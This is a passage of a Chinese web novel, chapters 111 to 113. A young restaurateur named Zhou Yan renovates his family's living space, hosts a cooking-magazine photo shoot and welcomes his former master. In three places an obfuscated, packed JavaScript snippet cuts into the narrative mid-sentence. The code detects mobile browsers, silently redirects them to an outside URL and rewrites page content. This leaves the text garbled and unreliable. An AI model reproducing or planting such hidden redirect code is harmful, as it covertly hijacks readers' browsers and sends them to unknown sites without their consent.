“今天日头大，已经完全晒干了，晚上可以铺床睡了。”周淼掂了掂手里的木板说道。 “不得行，要再晒一天，免得有水汽把被子整花了。”赵铁英摇头，“在雨里泡了一晚上的板子，哪有那么容易干。” “没事，我晚上在楼下再睡一晚嘛。”周砚笑着说道：“不过我们今天晚上要加个班，把二楼先清理出来，我约了泥瓦匠，明天拖砖过来砌墙，给你们整个房间出来。” 赵铁英说道：“整啥子房间了，浪费那些钱做啥子，反正就我们自家人住，你住小房间，我们把床靠墙一摆就能睡了。” “你妈说的对。”周淼跟着点头。 “那不行，将近两百平的大房间，冬天风从缝里漏进来，能把人给冻坏。”周砚摇头，态度坚决：“给你们靠外面弄个房间，窗户对着河边，风景又好，大家都有点私密空间，住起也舒服一些嘛。” “你们这次来，又不是临时住几天，生活要稍微讲究一点，幸福感都会强很多。” 赵嬢嬢和老周同志刚奔四，这年代没什么娱乐，都会有点成年人的需求。 楼上弄两个房间，砖墙一砌，隔音效果不会差，免得大家尴尬。 他们各占一边，中间的区域空着，等以后有了钱，弄个沙发，弄个电视，可不就是客厅嘛。 周砚昨晚都已经把设计图画出来了，近两百平的大平层，先规划个二室一厅，除了空旷一点，那是真的一点毛病没有。 “这……”赵铁英面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200228|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露迟疑之色。 “这次我觉得应该听周砚的。”周淼同志反水了。 “走！干活。”周砚拿起扫把和簸箕，向着楼梯走去。 “干活！”周沫沫屁颠屁颠跟在后边，手里还拿着一根鸡毛掸子。 赵铁英和周淼见此，也是拿上工具上楼。 周砚的房间在二楼楼梯口的位置，房间很小，只有十几个平方，好在东西不多，就一张床，一个衣服架子，一个床头柜，现在多了两个木箱子，反倒显得空旷。 经过赵嬢嬢昨天的一通收拾，现在干干净净，整整齐齐，连被子都叠成了豆腐块。 民兵标兵的自我修养，可真不是盖的。 这是纺织厂建的板房，二楼的地面也是水泥地，在这个时代，算是条件相当不错的了。 就是久了没用，地上积了一层灰，墙上和屋顶也到处是蛛网和灰尘。 赵铁英同志先对战场进行了评估，很快做出判断：“周沫沫，你到楼下去玩洋娃娃，太多灰了。” “我也要干活活！”周沫沫举起鸡毛掸子表明自己的态度。 “我今天不想大半夜给你洗头，你最好给我乖乖下楼去耍，等我们把灰灰扫了你再上来。”赵铁英回头看着她：“劳资蜀道山，一、二……” “好！我去！我最喜欢跟洋娃娃过家家了！”周沫沫把鸡毛掸子往周砚手里一塞，转身一溜烟跑了。 周砚笑的不行，小家伙什么热闹都想凑，不过这打扫起来全是灰，她确实不适合待在上面。 赵嬢嬢去箱子里翻了一块旧布出来，把自己的头发和脸蒙上，只露出两只眼睛。 老周同志已经端了一盆水上来把整体洒了一遍，然后拿着竹扫把开始扫了起来。 周砚个高，负责拿鸡毛掸子打墙面和屋顶上的灰尘和蛛网，才挥几下，二楼就立马尘土飞扬，迷了他的眼，糊了他的嘴，冲到窗边咳了一阵才缓过来。 赵嬢嬢还是太有生活了，早已预料了一切。 三个人效率还是高，一个小时把灰给清扫干净了，两边窗户打开，让空气对流，把拂尘给吹了出去。 地面显出了原来的颜色，简单打磨过的水泥地面，看着比土夯的地面还是舒服得多。 周沫沫已经上楼来了，在大大的空间里跑来跑去，高兴的不行，嘴里还念叨着：“新家！我们的新家！” 周砚走了过去，拿鸡毛掸子一边比划一边说道：“看！我打算在这个角落给你们砌两面墙，门开在这个位置，房间有二十五个平方左右，到时候可以往里边放个衣柜，再放两个床头柜，就不会显得那么空荡荡的了。” “这边到时候我打算做个小书房，可以看到江，也能晒到阳光，坐在这里看书肯定很舒服。” “中间是个超大的客厅，等咱们有钱了，靠墙摆个沙发，然后在这里砌一面电视墙，把电视摆在这个位置，晚上咱们一家就可以坐在这里看电视了。” 赵铁英和周淼眼里露出了憧憬，也忍不住笑。 是啊，是家。 求月票！   (本章完) 第111章 客人不来，那就去找客人！（第一更 “这卤猪蹄也太好吃了吧！周砚做的啊？他怎么这么会啊！”孟安荷手里抓着一只啃了大半的卤猪蹄，发出了一声由衷的惊叹。 林景行和林秉文兄弟俩各抓着半只猪蹄，啃得满嘴满脸油光光，跟着点头： “好吃！” “太香了！” 今天晚饭，林志强带回了两只卤猪蹄，可让孟安荷和两个孩子太惊喜了。 “周砚昨天刚推出的，看他妹坐在门口吃的好香，知道你爱吃，昨天就找他定了两个。”林志强笑着说道，他不喜欢吃猪蹄，就是专门给老婆孩子买的。 “周沫沫的哥哥好厉害啊！”林秉文抬起头来，看着林景行一脸认真道：“哥，你真不去当厨师吗？咱们家能不能天天吃上卤猪蹄，就靠你了啊！” “我才不去，我以后要当科学家！”林景行白了他一眼，“你那么爱吃，还是你去当厨师吧，这样以后每顿都能吃上卤猪蹄。” “真的啊？”林秉文愣住，眼里亮起了光。 “好好念书，想东想西，我捶你哦！”孟安荷伸出拳头，在他眼前晃了晃。 “哦……”林秉文缩了缩脖子。 “夏瑶那丫头肯定也爱吃，她最喜欢吃红烧排骨和卤猪蹄了。”孟安荷笑了笑，“还好他们离得远，要不然天天吃，胃肯定先被拿捏了。” …… “收入501.2元，利润262.6元！不错啊，成功突破五百！” 周砚合上账本，喜笑颜开。 随着老周同志的加入，卤肉和凉菜营业额屡破新高，今日更是成功突破150元，已经成为饭店营业额增长的一极。 这两天卤菜和凉拌鸡的口碑快速发酵，所以增长迅速。 不过周砚并没有过度乐观，这样的非正常增长随时可能见顶，然后开始快速回落。 两块五一斤的猪头肉，即便只买三两，也得七**五分，没有人会每天回购。 如果觉得好吃，一周回购一次，应该属于合理的范畴。 比如蒜苗回锅肉，在上周出现销量快速增长后，这两天已经开始回落，周砚已经减少了二刀肉的备菜量，避免出现食材浪费的情况。 当然，这也和菜单上新有一定关系，客人会尝试新菜，也对一些菜品产生冲击。 开饭店，食材采购本来就是一个非常动态的情况，他这个老板，厨师、采购、财务一手抓，每天睡觉前的盘点和预测就非常重要。 今天的猪头肉还剩了六两左右，让赵红带回去给大爷他们下酒。 明天猪头的数量减少一个。 火爆猪肝反馈不错，晚上不少客人想点没点到，明天多拿六斤，增加十份供应量。 背靠纺织厂，这应该是他现在能够做到的营业额上限，很难再有大的突破。 现在非纺织厂工人的客人，开始渐渐有所增加。 比如早上吃面，零星能看到几个没穿工厂制服的，应该是镇上学校的老师和公务员。 中午要少一些，晚上会有三五结伴来聚餐的，对比上个星期明显增加，也能贡献几十块钱的营业额。 这是好事，说明周二娃饭店正在苏稽范围内破圈中。 可整个苏稽最有消费能力的，就是纺织厂的工人。 想要赚更多的钱，就得考虑苏稽范围之外的高净值客户了。 比如，嘉州！ 镇上的小饭店，在这个交通不够便捷，靠双腿和自行车通行的年代，基本没有可能性。 除了少数的老饕，再好吃的美食，也会被路途阻隔。 客人不来，那他可以把菜送去啊。 当年他奶奶在苏稽卖卤肉，同时供应嘉州好几家饭店的卤肉，这事他现在还惦记着呢。 就是不知道当年那些饭店，是否扛过了动荡年代，新的掌门人，还愿不愿意来苏稽拿卤肉。 给饭店供应，那就是大客户，一次拿十几二十斤，只需要卤，还不用切。 哪怕价格低一点，这钱挣着也舒服啊。 挣钱嘛，周砚可太有积极性了。 明天找泥瓦匠砌墙刮大白，一笔大支出。 后边还打算再添置一些家具，比如给赵嬢嬢弄个衣柜，好让她把衣服挂起来，免得拿出来穿全是褶皱。 天气渐冷，老周同志和周沫沫的冬衣全军覆没，得给他们安排上。 晚上有点无聊，要是能弄台电视，哪怕是只是看看新闻联播，也会热闹些。 住在小镇上，接收信息的渠道太少了。 还是应该看看新闻联播，睁眼看世界。 上辈子只顾着挣钱，没拍摄任务的时候一天三顿猪脚饭，卡里躺着的一百万**都没花上。 这一世一边挣钱一边和家人一起花，感觉挣的每一分钱都是有意义的，收获感满满。 把钱点好放进钱箱子，挂上一个小锁，周砚跑到厨房把菜刀都翻了出来，拿出一块磨刀石开始磨了起来。 沙！沙！沙沙！ 周砚弓着背，握着菜刀，刀刃在磨刀石上有规律的来回磨着，肉眼可见地变得锋利，在灯光下泛着红光。 他跟着师父学过磨刀，但因为手艺太差，他师父从来不让他碰他的刀。 但今天他握着刀，站在磨刀石前的时候，竟是有种人刀合一的感觉。 每一次摩擦，他都能把握最佳的角度和力道，并且对刀的状态有着非常敏锐的感知。 三分钟后，他把手里的切片刀拿起。 【一把锋利无比的切片刀】 系统竟也给出了一个评价。 周砚：？ 这技能还能联动啊？ 挺好，以后要是不想做菜了，就挑着磨刀石走街串巷给人磨菜刀。 磨刀吧，还挺解压的。 周砚拿起第二把刀，又刷刷磨了起来。 小周同志有四把刀，切片刀、斩骨刀、剔骨刀、又一把切片刀。 另一把切片刀原本是闲置的，现在老周同志拿着切卤肉。 老周同志不让他碰宰牛刀，切片刀他可管不了，一起给磨了。 磨好的菜刀全部用清水冲洗干净，再用纱布抹干插入刀架。 看着那铮亮的刀刃，周砚心满意足的躺回去睡觉了。 财富商城的小妙招不白学啊！ 确实管用。 …… 天刚蒙蒙亮，小周师傅和老周师傅便出门买菜了。 赵嬢嬢把周沫沫装背篼里，也跟着出了门。 “妈，碗我们顺路带回来就是，你还带着沫沫出门一趟做什么。”周砚看着坐在他爸后座上的赵嬢嬢，不解道。 “你懂锤子，那一套碗你奶奶宝贝的很，你要放背篼里颠坏了，就等着挨收拾吧。”赵嬢嬢笑道，“我跟着去，一会抱怀里揣回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200229|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用完了第一时间给她送回去。” “要得。”周砚点头，也就没再多说什么。 周砚去买牛肉，周淼带着赵铁英去借盘子，等他买完肉出来，他们也回来了。 赵铁英的怀里多了个蓝布包裹，小心翼翼抱着，瞧见周砚笑着道：“借到了，你奶奶说了，要是缺了个口，就跪祠堂去。” “那你可小心抱好。”周砚闻言都紧张了几分，这话足以看出老太太的重视。 把牛肉装到老周同志的车上，周砚不敢让他跟着乱晃，让他们先回饭店。 等他买完菜回到饭店，中间的桌上已经摆了一个青色花纹的海碗。 周沫沫趴在桌边瞧着，眼里闪着光，听到动静回头看向周砚，伸出圆乎乎的小手指着桌上的碗奶声奶气道：“锅锅，看，漂酿的碗碗！” 周砚把二八大杠停好，也凑到桌边瞧着。 这海碗确实漂亮，胎质细腻，白釉温润，青花发色淡雅，花卉纹路也是舒展大气。 周砚不懂瓷器和古董，但一眼就看得出来这绝对是好东西！ 逢年过节都没瞧见过这套碗上桌，说明这是老太太珍藏的宝贝，所以才保存的如此完好。 周砚伸手想要拿起来瞧瞧。 “锅锅！别动！”周沫沫一脸紧张的喊道，往厨房方向看了一眼，小声道：“妈妈说了，敢动就打板板！” “小娃娃不要动，大人可以动一下。”周砚拿起瞧了一眼碗底，‘大清雍正年制’六个大字颇为醒目。 再传两代，估计价格不菲，周砚决定把碗送回去的时候得提醒老太太收好，别被人拿搪瓷盆给换走。 这年代假古董还没那么泛滥，商周的东西不常见，上周的也很罕见。 把碗小心包好，放到柜子上层，餐具的问题解决了，等着何志远他们上门来拍照就行。 每天上午是最为忙碌的，炒面臊子、浇头，拉面、煮面，煮跷脚牛肉高汤，还得卤肉，安排的满满当当。 早上营业结束后，泥瓦匠张师傅就带着徒弟拉了砖头、水泥、河沙过来，趁着早上营业的空隙，喊了两个小工，先把砖头搬到二楼。 水泥河沙在靠近河边的坝坝上拌，让小工挑上楼去。 “张师，今天早上就开工？”周砚给张师和他徒弟递了根烟，昨天他还说要等下午才有空。 “你这里急着要住，肯定先安排你这边撒。”张师笑着道：“今天帮你把墙砌好，再把二楼的其他墙面用石灰抹一道，最近天气干燥，通风两天就能干。” “要得！”周砚点头，他当然是希望越早越好，不然总在一楼睡觉也不是个事。 “你卤肉开始卖了？”张师看了眼墙上的菜单问道。 “对，卖了有三天了。”周砚点头。 “晚上我买三两猪头肉回去，让我老汉尝看正不正宗。”张师笑着说道，带着徒弟上楼干活去了。 楼上装修忙忙碌碌。 十点左右，何志远带着小李，背着相机来了。 摆卤肉的小方桌已经搬到门口，桌上正中摆着那只洗好的大瓷碗。 “这青花瓷碗真漂亮！”何志远看着那瓷碗眼睛一亮：“拿来拍跷脚牛肉可太合适了！” 周砚换了老周同志的新厨师服，笑着出门来：“何主编，那咱们现在就开拍？” 求月票！ (本章完) 第112章 看嘛，没有一顿饭是白吃的！（44k第 第112章看嘛，没有一顿饭是白吃的！（4.4k第二更！） 要论工作态度，何志远和小李确实没得说。 两张照片，拍了近一个小时。 从碗里汤汁的量，到牛肉片摆放的细微角度，再到周砚站姿的调整，对光线的捕捉…… 一通折腾下来，把周砚都整累了。 赵嬢嬢他们则在一旁看的津津有味。 “完美！这两张照片绝对出彩！”拍完何志远一脸亢奋，这次去峨眉没有拍到让他很满意的素材，没想到回来半道上见朋友，让他捡到宝了。 特别是这跷脚牛肉，往青花瓷碗里一装，档次一下子提了八百倍！ 汤色清澈，牛肉粉嫩，翘起的毛肚泛着晶莹的油光，看着实在诱人。 一旁的蘸碟更是点睛之笔，红白这么一衬，将川菜“清鲜见长，麻辣见称”的特色展现的淋漓尽致。 等照片洗出来，要是效果好的话，他一定找主编争取，看能不能把跷脚牛肉当下一期的封面。 “何主编，你能不能用相机给我们一家人拍张照片啊？”赵嬢嬢抱着周沫沫走了过来，笑着开口道。 她不知什么时候已经换了件蓝色花纹的的确良衬衣，脚上穿的还是新皮鞋，周沫沫也换了身干净的蓝白小长裙，编了两条小辫子。 何志远下意识的后退半步，不过脸上很快堆起笑容道：“当然可以，来嘛，你们一家人站在饭店门口，我给你们拍个全家福。” “谢谢哦。”赵嬢嬢一喜，连忙招呼周砚和周淼过来。 赵嬢嬢抱着周沫沫站在中间，周砚和周淼分站两边。 周砚面带微笑，全家福，多稀奇的字眼啊，他这辈子也是拍上了。 “锅锅，我们要干嘛？”周沫沫歪头看着周砚，她太小，还不懂什么叫拍照片。 “拍照，就是把我们的样子用那台相机画下来。”周砚笑着给她解释道。 “相机又是什么鸡呢？鸡也会画画吗？”周沫沫眨巴着眼睛，感觉小脑瓜更糊涂了。 何志远拿着相机开始指挥众人： “来，往前边站一点，我好把招牌一起拍进去。” “对对对，我喊一二三，你们就笑哈。” “小朋友，看伯伯这里哦，笑一哈。” “挨近一点嘛，一家人怎么表现的不太熟的样子呢？对头，就是这样，一，二、三……” 周沫沫被赵嬢嬢抱着，脑袋却歪着靠在了周砚的胸口，露出了一个甜甜的笑。 咔嚓！ 随着快门声响起，一家人的笑容也被定格在这一刻。 何志远把相机小心装好，看着周砚等人笑着道：“等我回去之后把照片给你们洗出来，等下一期《四川烹饪》杂志出来了，一起给你们寄回来。” “要得，谢谢你了。”赵铁英看着收拾东西准备走的两人，笑着招呼道：“我们也准备吃午饭了，你们一起简单吃点再走嘛。” “不用不用，我们回去收拾一下，还要赶班车去嘉州，今天就要回蓉城。”何志远摆手。 “何主编，你们就算去了嘉州，还是要找地方吃午饭，就在店里跟我们吃个便饭再回去嘛。”周砚也是开口道：“我现在就去炒菜了，我们今天楼上还有三个帮忙干活的泥瓦工师傅一起吃。” 何志远闻言笑着点头：“要得，那我们就不客套了，你说的对，去嘉州车站附近一时半会还找不到比你这里更好吃的馆子。” 周砚转身进厨房做饭。 赵嬢嬢小心把那青花瓷碗捧起，重新找了个大海碗把汤倒了过去，洗了之后用纱布擦干。 “这个青花瓷碗太巴适了，你们要好好保存，千万不要被人给骗走。现在有些人坏得很，欺负农民不懂，拿点毛巾、水杯就去乡下换古董。”何志远看着赵嬢嬢提醒道。 “要得。”赵嬢嬢点头。 “伯伯，你这个相鸡装在包包里，它不会叫唤吗？它是怎么画画的呢？咔嚓一下就画好了？”周沫沫凑到跟前，满是好奇的看着何志远装着相机的包。 “啊？”何志远愣了一会才琢磨明白周沫沫的话，和小李都忍不住笑了。 小姑娘粉雕玉琢的，编着两个小辫子格外可爱，说话也是很有意思呢。 “我这个相机呢，它一般不得叫唤，伯伯给你看看它画出来的画吧。”何志远翻了翻包，拿出了一本小相册，里边是他游历四川各地拍下的风景与人。 “哇哦！它画的好好哦！这个鸭鸭看起来好好吃！这条大河弯又弯！这个姐姐好漂酿……” 周沫沫凑过来看，惊叹连连，夸的是相机，但何志远脸上的笑就没停过。 小家伙太会夸了。 和编辑社那些老家伙们不一样。 能被他洗出来留在相册里的，都是他这几年最得意的照片。 相册翻完了，周沫沫眨巴着大眼睛看着何志远：“伯伯，相机是不是跟着你去了好多好多地方啊？” “对，它是我旅途路上最好的伙伴。”何志远笑着点头。 小李：？？ 那我算什么？ “来，我让相机给你单独画一张，下回伯伯一起寄给你好不好？”何志远又把相机掏了出来，他一般很少主动给人拍照，但今天这个小家伙实在是太乖了。 “好呀！好呀！”周沫沫点着脑袋，坐在饭店门口的小板凳上拍了一张照。 “开饭咯！” 周砚和赵红端着饭菜出门来，把楼上的张师傅三人组也喊下来一起吃饭。 十个人，一桌坐的满满当当。 周砚炒了回锅肉、猪肝，又杀了两条鲫鱼做藿香鲫鱼，打了一份牛肉烧笋干，切了一盘卤猪头肉，还炒了个小青菜。 早上的拍摄道具也重新热了一下，牛肉和毛肚的口感没刚烫出来那么好，但也好歹算个汤嘛。 “你这安排的好丰盛哦，老板请客我们巴着沾光。”张师傅看着这一桌子有鱼有肉，有些不好意思地笑了。 何志远戴着眼镜，穿着中山装，气质瞧着就像城里的知识分子，周砚安排这么一桌菜，足以说明重视性。 那徒弟和小工也有些拘束的坐着，忙活了一个上午，他们身上全是泥浆点点，只有手是洗干净的。 “我们才是跟着你们沾光的，你们给老板装修房子，我们就是来耍的。”何志远笑呵呵地，拿起筷子道：“那我就不客气了，这一桌子菜，看到就饿了。” “动筷嘛，客气啥子。”周砚也是笑道，先给坐在他身边的周沫沫夹了一块回锅肉。 众人也是纷纷动筷。 周砚中午安排的菜其实有点讲究，除了周沫沫爱吃的回锅肉，其他菜都是何志远他们昨天没吃到的。 没别的意思，就是纯炫技。 让他们临走前吃顿好的，等回了蓉城天天惦记着。 跷脚牛肉能不能上封面，还得靠他帮忙争取呢。 其次，周砚觉得他们挺好的。 他们不就是这个时代的美食博主嘛，让他有种天然的亲近感。 他当美食博主的时候，也喜欢跑到后厨去拍烹饪细节，虽然大部分时候都能友好沟通，但也不缺被追着骂的经历。 至于为什么没被打，法治社会救了他的小命。 何志远每一道菜都尝了一遍，脑袋都快点成招财猫了。 桌上陌生人太多，他一时间不太好发挥，但内心已经十分震惊。 藿香鲫鱼外焦里嫩，麻辣鲜香之中，藿香风味突出，相当有味。 牛肉烧笋干也是一绝！笋干吸满了牛肉汤汁，口感又有点脆爽，太香了！！！ 火爆猪肝是最后一个上桌的菜，就得趁热吃，一入口先感受到的是锅气，猛火热油爆炒出来的锅气，就像一把火一般。 微微卷曲的猪肝太滑嫩了！外皮却在热油中有了些许的焦香。 火爆猪肝吃的就是一个口感，老师傅稍不注意都容易翻车。 但这一份做的太好了，薄芡锁住了水分的同时，也挂住了滋味，格外下饭。 何志远吃了一块又一块，还是忍不住看着周砚道：“这火爆猪肝火候控得太巴适了，说实在的，这一桌子菜我就算是在蓉城餐厅都不一定能点到这么巴适的，你这厨艺就算是去蓉城，也早晚能把饭店做大！” “赞同！”小李附议，表示高度认可。 蓉城餐厅当然是蓉城最好的餐厅之一，名厨无数。 但点菜不一定能点到老师傅炒的，那些大厨的徒子徒孙们的手艺，并没有那么稳定，很多时候是没法跟周砚做的菜比。 周砚要是能保持这种水准，就算去了蓉城，也很快会成为知名饭店。 周砚笑着道：“这可是您说的啊，要是去我蓉城开饭店没客人，那你可得给我写篇文章宣传宣传。” “你只要保持这种水准，你在蓉城开饭店没客人，别说写一篇，我一个月给你写一篇，一道菜一道菜给你写，写到你客满为患为止！”何志远拍着胸脯道：“我说的。” “以汤代酒，敬何主任一碗，我先干了。”周砚端起汤碗，一饮而尽。 看嘛，没有一顿饭是白吃的。 这不就是他在蓉城的人脉。 张师傅尝了卤猪头肉后，呆了一下，细细回味了一会，有些激动的看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200230|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着周砚道：“周老板，你这卤猪头肉跟你奶奶做的简直一模一样！和我年轻时候吃过的一点没差，就是这个味道！” 二十多年前的美味回忆涌上心头，张师傅难掩激动。 何志远闻言，也是来了兴致，张记卤味之名，他也不是第一回听说了，原来不止飞燕酒楼的老板还在念着这一口卤肉。 “张师过奖了，跟我奶奶比起来，还是有差距的。”周砚谦虚道。 “我反正是吃不出来差别，味道太巴适了。”张师傅看着他有些期待道：“那你卤牛杂了吗？我老汉还经常念叨你奶奶做的卤牛肠。” 周砚摇头：“目前只卤猪头，牛肉和牛杂那些我还没把握，还要再练一段时间。” 张师傅点头道：“那你晚上给我留三两猪头肉，一个猪耳朵打包嘛，我晚上干完活带回给我老汉尝尝看。” “要得。”周砚笑着点头。 这里就是一块六七了，差不多是张师傅一天的工钱。 还真是饭店挣钱饭店花，一分都不带回家。 “张记卤味我觉得也很有历史渊源和故事感，下一次我来苏稽，再来找你采访和了解嘛，留点素材等下次再来挖掘。我觉得你很有文学内涵，如果你有文章想要投给我们杂志社，就寄到这个地址嘛。”何志远给周砚留了一个地址。 “要得，下次见。”周砚接过纸，点头道。 “再见何伯伯，李锅锅！”周沫沫站在门口，冲着他们挥着小手。 “再见，小沫沫。”他们俩也是笑着挥手，转身离开。 在前往嘉州摇摇晃晃的班车上，何志远掏出纸笔，开始动笔写文章。 小李默默转过头去假装没看见，闭上眼开始睡觉。 求，领导在身边工作的时候如何摸鱼？ …… 饭店营业的时候，张师傅他们三个就在堤坝上的木板上午休，等营业结束了才继续开干。 中午营业结束，周淼带着赵铁英回了一趟周村还碗，特意挖了一扇门扛回了饭店。 老师傅的效率就是高，一天时间把两面墙给砌好了，还用白色石灰把二楼墙面粗略抹了一道。 原本有些暗沉的二楼，一下子亮堂了起来，空间都大了不少。 “明天再来刮一道大白，二楼整体墙面就完工了，门要等两天再装，门框要让木匠给你重新定一个，晚点再来补那个房间里的墙面。”张师傅从周砚手里接过打包好的猪头肉和猪耳朵，跟他汇报工程进度。 “要得，辛苦你们。”周砚点头。 那他还得在一楼再睡几天。 装修嘛，哪有那么简单。 三位师傅收工，工厂也下班了，饭店又忙碌了起来，特别是门口的卤肉摊，现在晚上一下班，立马就被围住。 和忙碌的老周师父相比，斜对面的杨老三和朱峰可太闲了，愁容满面。 猪头肉的销量腰斩再腰斩，价格已经下调到了一块八一斤，每天只能卖个五六斤，挣个两三块钱，和之前相比属实差远了。 夹在中间的赵明辉的赵氏甜皮鸭，也是围满了客人。 “尝着买，好吃再买！” “要得，一斤给你称好了，找你钱！” “妹儿，六**三分给六**嘛，零头无所谓的。” “姐姐，甜皮鸭今天卖完了，你明天要半只我给你记着，明天晚上下班了过来拿嘛。” 赵明辉和张秀琴两口子笑容满面的招呼着客人，满是干劲。 他们的卤花生现在一天能卖三十斤，甜皮鸭也被带着比之前多卖一两只出去，收入增长显著。 生活充满了盼头！ 昨天杨老三和朱峰又作怪，也卤了卤花生出来跟他抵着卖，而且价格只要三毛钱一斤，比他们便宜了一毛五。 但是客人们尝过他们的卤花生后，要么说太咸，要么说一半空壳壳，最后还是到他家买。 两家卤的几十斤花生，最后只卖了几斤出去，今天没敢再卤。 赵明辉有点懂周砚的理念了。 当你的东西足够好的时候，同行的价格战是无法打败你的。 …… 赵铁英笑迎客人进店落座，门口一黯，进来两人，笑着道：“弟妹，还有位置没得？” “肖师傅！”赵铁英瞧见来人模样，有些惊讶，忙笑着点头：“有，有位置，里边坐嘛，郑师父也来了哦。你们是来吃饭，还是来找周砚的？” “先吃饭，吃了有点事找他。”肖磊说道。 —— PS：4.4k大章，求月票~~晚上还会加一更！ (本章完) 第113章 我去！倒反天罡！我教师父做菜？（ “好多客人哦！师弟这个饭店生意那么好啊！”郑强瞧着店里几乎坐满了客人，不禁有些咋舌。 这可是镇上！ 哪怕是在嘉州也少有生意如此火爆的小饭店吧？ “生意要是不好，厂食堂的小炒也不会**垮了。”肖磊脸上带着几分欣慰的笑。 自己的徒弟能干事，他这个当师父的最是高兴。 “肖师傅！你也来吃饭啊？” “肖师傅你现在在哪里上班？还是自己去开店了啊？” 肖师傅一进店，立马引来了不少客人的注意，还有不少主动打招呼的。 会来周砚店里吃饭的工人，大部分之前都是食堂小炒的忠实客户，对肖磊都不陌生。 王德发入狱，肖磊辞职的波澜，随着厂食堂的深度改革逐渐平息。 可工人们还是会时常想起这位曾经的厨师长，有他在的时候，大锅菜都会好吃几分。 肖磊笑着点头回应，到了座位上后，站着开口道：“谢谢大家的关心，我没有去上班，也没有开店，现在跟我师侄，国家三级厨师郑强一起做乡厨，大家要是要办坝坝宴，五桌起都可以联系我们，只做菜的话，三块钱一桌，我的厨艺，你们都有数的嘛。” “乡厨！” 工人们的眼中露出讶色。 肖磊的厨艺大家确实都有数，国家二级厨师，纺织厂食堂当了十多年的厨师长，绝对的厨艺第一人。 之前大家都说他已经去蓉城的大饭店上班，没想到竟然留在苏稽当乡厨。 三块一桌，是苏稽乡厨最高那一档。 但赵四的厨艺能跟肖师傅比吗？那可差的太远了！ 肖磊他们刚坐下，便有工人过来咨询：“肖师傅，你下个月三号有空不？我老汉做寿，我想摆个十桌……” 有人带头，很快又有几个过来问的。 郑强有些诧异，师叔在纺织厂的影响力也太大了吧？两句话就把订单揽到手了？ 厨房里，周砚把他师父的话尽收于耳，心头有些惊讶，这还是他师父吗？ 进步也太快了吧！ 竟然已经会主动打广告了，而且还是在一群纺织厂的工人中给推销自己。 士别三日当刮目相待啊。 趁热打铁，周砚端着一盘菜出来送到客人桌上，站到他师父那桌边上，朗声道：“我师父做的九大碗，绝对苏稽第一，我郑师兄是从蓉城餐厅出来的大厨，烧的红烧鱼也是一绝，他们是黄金搭档。 请他们办坝坝宴，客人吃得满意，主人家倍有面子。大家就算暂时没得需求，也请帮忙扩散宣传一下。 有需要的客人也不用到处找我师父，来我店里跟我说，我帮你们确定时间有没有冲突。” “要得！” “肯定帮忙宣传！” “我有个哥哥下个月要办事，我回去问问他定好乡厨没有。” 客人们纷纷笑着应道，倒是都颇为捧场。 手艺好的乡厨本就抢手，何况是肖师傅和郑师傅这样的大厨。 要是凑上好日子，不提前几个月定，多半是约不到的。 正给客人登记时间的肖磊冲他点了点头，眼里满是笑意。 “师弟，还得是你。”郑强冲着周砚竖起了大拇指，脸上满是感谢。 这个师弟实在是太热心肠了，他们的乡厨事业能够快速起步，全靠他不遗余力地宣传。 这份真挚的同门情谊，属实让他有些动容。 “自己人客气啥，我忙去了。”周砚笑着拍了一下他的肩膀，没打断他师父跟客人交流，转身回厨房忙去了。 他心里其实有点紧张。 师傅来店里吃饭，这是头一回。 卤肉和凉菜还能用家传的手艺搪塞过去，炒菜那些又该如何解释呢？ 三个月河东，三个月河西，莫欺少年菜？ 没办法，那他只能当宗门天才了！ 不装了，摊牌了。 周砚实在没时间想那么多，这会正是用餐高峰期，锅铲都快挥出火星了，等忙完了再说吧。 肖磊定了两单，这个月一单，下个月一单。 有一单因为时间冲突，无奈错过。 还有一单则是因为时间在明年十一月份，一年后的事情，实在太过遥远，被他婉拒，最多提前半年预定。 “这成功率太高了！师叔，你的名声真管用。”郑强有些振奋，两个订单，一场寿宴十桌，一场婚宴三十二桌，算大订单了！ “干了二十多年，不算白干。”肖磊淡定微笑道。 这会店里就百来个人，他估摸着明天这事传开后，来周砚店里预定坝坝宴的工人还会更多。 周砚主动站出来，要帮他接预定，再一次帮他们推销，让他挺感动的。 这徒弟，人确实没得说。 “师叔，咱们今天买东西逛了一天，肚子饿得很，点啥子菜呢？”郑强看着一旁墙上的菜单牌牌，笑问道：“师弟的拿手好菜是啥？我还没有尝过他的炒菜、烧菜手艺呢。” “拍黄瓜？”肖磊眉头微蹙。 “啥？”郑强愣了一下，把目光从菜单上挪回到肖磊脸上，表情略显古怪：“拍黄瓜？” 肖磊也沉默了，当初周砚跟着他学厨，学了两年半，刀工掌握的不错，但火候和调味属实不行，连个油渣莲白都炒不明白。 